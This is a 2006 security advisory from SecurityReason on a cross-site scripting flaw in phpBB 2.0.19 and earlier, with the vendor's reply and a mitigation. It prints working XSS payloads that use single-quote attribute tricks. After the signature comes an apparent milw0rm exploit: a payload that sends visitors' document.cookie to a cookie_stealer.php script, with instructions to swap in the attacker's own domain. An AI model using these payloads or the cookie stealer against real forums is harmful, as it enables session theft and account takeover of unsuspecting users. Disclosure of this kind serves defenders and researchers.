Details: SecurityAlert
Topic : phpBB 2.0.19 XSS
SecurityAlert Id : 30
SecurityRisk : Medium
Remote Exploit : Yes
Local Exploit : No
Exploit Given : Yes
Credit : Maksymilian Arciemowicz
Date : 5.1.2006
Affected Software : phpBB 2.0.19 and prior
Advisory Text :
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[phpBB 2.0.19 XSS cXIb8O3.23]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 6.1.2006
from SecurityReason.Com
CVE : CVE-2006-0063
- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board
package. phpBB has a user-friendly interface, simple and straightforward administration
panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL,
MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community
solution for all web sites.
Contact with author http://www.phpbb.com/about.php.
- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile
"Always allow HTML: YES" or are you Guest
This issue is in phpBB 2.0.19 .
Some Details :
Old exploit for x <= 2.0.18 was (http://securityreason.com/achievement_securityalert/29) :
<B C=">" onmouseover="alert('SecurityReason.Com')" X="<B
"> H E L O </B>
New exploit for x <= 2.0.19 is :
<B C='>' onmouseover='alert("SecurityReason.Com")' X='<B '>
SecurityReason.Com </B>
The exploits are simillar but not the same ! As you can notice the " is replaced to '
In new version phpBB they only filter " but not '
that you can use this tags:
<B C='>' onmouseover='alert("SecurityReason.Com")' X='<B '>
SecurityReason.Com </B>
Exploit:
<B C='>' onmouseover='alert(document.location="http://SecurityReason.Com")'
X='<B '> SecurityReason.Com </B>
- ---
SecurityReason Note :
According to http://www.phpbb.com/phpBB/viewtopic.php?t=352966
[Sec] fixed XSS issue (only valid for Internet Explorer) within the url bbcode
[Sec] fixed XSS issue (only valid for Internet Explorer) if html tags are allowed and enabled
SecurityReason tested this issue before public advisory :
http://securityreason.com/achievement_securityalert/29
and the XSS is working on :
- -> Mozilla
- -> Internet Explorer ( so !not! only valid Internet Explorer)
- -> Opera
- -> Firefox
- -> Links
As proof SecurityReason show examples of working XSS on screens :
http://securityreason.com/downloads/mozilla.png -> Mozilla
http://securityreason.com/downloads/opera.png -> Opera
http://securityreason.com/downloads/firefox.png -> Firefox
http://securityreason.com/downloads/links.png -> Links
- ---
We have reported this bug to phpbb bugtraq and:
phpBB Team respone :
- --------------------
...
we do not intended to fix the previous issue in 2.0.19 (it was just preventing it by the
quote change, which was good - but we intended this change
because of other forseeable issues) - and i do not intend to fix this one. HTML is and was
always "bad" and has been stated as being
able to be entered "as is". In olympus we will therefore remove html support
completely
...
- --------------------
So Solusion is:
phpBB Team respone :
- -------------------
I already said we will fix it in CVS but do not see the need to release a new version
immediatly.
- -------------------
So there is no fix for this .
Only way to protect is :
Allow HTML = Off
- --- 2. Greets ---
sp3x
- --- 3.Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (FreeBSD)
iD8DBQFDvSzX3Ke13X/fTO4RAqlOAJ9eX7rok/p3Q0VHmYP8J21h26PvpgCbBGmJ
mGGvK34tnNCl1WdnpZxfAcY=
=dyrx
-----END PGP SIGNATURE-----
# to be used with cookie stealer located here: http://www.milw0rm.com/id.php?id=1103
# Make sure you change www.milw0rm.com to your domain. thnx. /str0ke
# Author: threesixthousan
/*
As long as html is ON in the latest version of phpBB forums,
several XSS attack vectors are possible. phpBB incorrectly
filters in both messages and profiles, making cookie stealing,
and other XSS attacks possible. the exploit leads to arbitary
javascript execution, which in turn can lead to html defacement.
use of the <pre> tag means that the cursor must pass it in the y
direction only. e.g. the mouse only needs to cross a point
horrizontaly equal to the link in order for the javascript to be executed.
the following is a simple attack:
*/
<pre a='>' onmouseover='document.location="http://www.milw0rm.com/cookie_stealer.php?c="+document.cookie' b='<pre' >
http://www.somesite.com/</pre>
# milw0rm.com [2006-01-29]
_http://lists.grok.org.uk/pipermail/full-disclosure/2006-February/041920.html
_http://www.fr33d0m.net/content-2496.html